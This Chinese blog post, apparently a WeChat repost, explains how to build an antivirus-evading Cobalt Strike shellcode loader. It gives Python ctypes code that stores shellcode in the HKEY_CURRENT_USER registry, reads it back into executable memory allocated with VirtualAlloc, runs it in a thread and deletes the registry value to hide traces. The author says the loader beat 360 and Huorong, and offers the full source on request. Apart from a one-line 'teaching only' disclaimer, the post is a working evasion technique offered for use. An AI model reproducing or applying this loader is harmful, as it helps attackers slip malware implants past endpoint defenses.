CS免杀-RegQueryValueExA加载器

admin 2021年7月20日07:00:50评论236 views字数 2070阅读6分54秒阅读模式
CS免杀-RegQueryValueExA加载器
一位苦于信息安全的萌新小白帽
本实验仅用于信息防御教学,切勿用于它用途
公众号:XG小刚

最近毕业了,开始了新的打工生活,知识也被榨干了,更新比较慢

前言


前几天不是发了几个《UUID、MAC、ipv4》等加载器吗,这几个原理都一个样,就是转换内容然后写到内存中去,说白了只要能往内存写东西的函数都能写成加载器

这几天研究api操作注册表想绕过360等,突然想起注册表是可以存储二进制内容的,然后就发现了RegQueryValueExA函数是可以读取 注册表中内容的,所以我们只要将读取的内容存到申请的内存中去执行即可。

本文环境使用py2.7,通过ctypes库调用RegQueryValueExA函数实现上线cs

注册表

注册表就不多介绍了,乱七八糟的我也讲不懂,自己百度
CS免杀-RegQueryValueExA加载器
但主要一点,我们操作注册表是需要权限的,但HKLM_CURRWNT_USER表是不需要权限的,所以我们主要操作这个表

函数介绍

在读取注册表内容之前,注册表得有我们的shellcode内容啊,命令行操作reg又不行,拦的死死地,所以只能用api进行写入我们的shellcode

RegSetValueExA
该函数在Advapi32.dll库中,可以设置注册表项下指定值的数据和类型。
函数原型:
https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regsetvalueexa
LSTATUS RegSetValueExA( HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE *lpData, DWORD cbData);
hKey为上面五个表其中一种,这里操作HKLM_CURRWNT_USER,在py里对应值是-2147483647
lpValueName是在表里新建一个值
dwType是值的类型,在注册表里不同的值类型储存不同格式的数据,我们需要储存二进制数据,所以值类型为REG_BINARY,py里对应数值为3
lpData这是我们需要写入的数据,这里写入shellcode
cbData是数据的大小,必须将shellcode全部写入
buf = b"xfcx00..."ctypes.windll.Advapi32.RegSetValueExA(-2147483647, "test", None, 3, buf,len(buf))
此时看看注册表里的内容是不是shellcode
CS免杀-RegQueryValueExA加载器

RegQueryValueExA
该函数在Advapi32.dll库中,检索与打开的注册表项关联的指定值名称的类型和数据。
函数原型:
https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regqueryvalueexa
LSTATUS RegQueryValueExA( HKEY hKey, LPCSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData);
hKey对应上面注册表的组
lpValueName对应上面值的名称
lpType接收查到的值的类型,可以为0表示不需要此内容
lpData则接收我们查到的值的数据,也就是我们的shellcode,这里需要VirtualAlloc申请一块内存来接收此数据,这里根据需要的指针类型将内存改为LPBYTE的指针
LPBYTE = POINTER(c_byte)ctypes.windll.kernel32.VirtualAlloc.restype = LPBYTEptr = ctypes.windll.kernel32.VirtualAlloc(0,800,0x3000,0x40)
lpcbData则是shellcode的长度,这里长度我们需要先执行一下RegQueryValueExA来获取一下shellcode长度,然后继续直接RegQueryValueExA来去读内容到申请的内存
data_len = DWORD()ctypes.windll.Advapi32.RegQueryValueExA(-2147483647, "test", 0, 0, 0, byref(data_len))ctypes.windll.Advapi32.RegQueryValueExA(-2147483647,"test",0,None,ptr,byref(data_len))
这时shellcode已经写入到内存中去了,继续老一套创建线程运行即可

当写完内存,以防万一将写入的注册表进行删除
ctypes.windll.Advapi32.RegDeleteValueA(-2147483647, "test")

测试
环境py2.7 ,使用cs生成64位shellcode
CS免杀-RegQueryValueExA加载器
这里测试了火绒,360,成功上线
源码公众号回复:注册表加载器

本文始发于微信公众号(XG小刚):CS免杀-RegQueryValueExA加载器

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年7月20日07:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CS免杀-RegQueryValueExA加载器http://cn-sec.com/archives/429146.html

发表评论

匿名网友 填写信息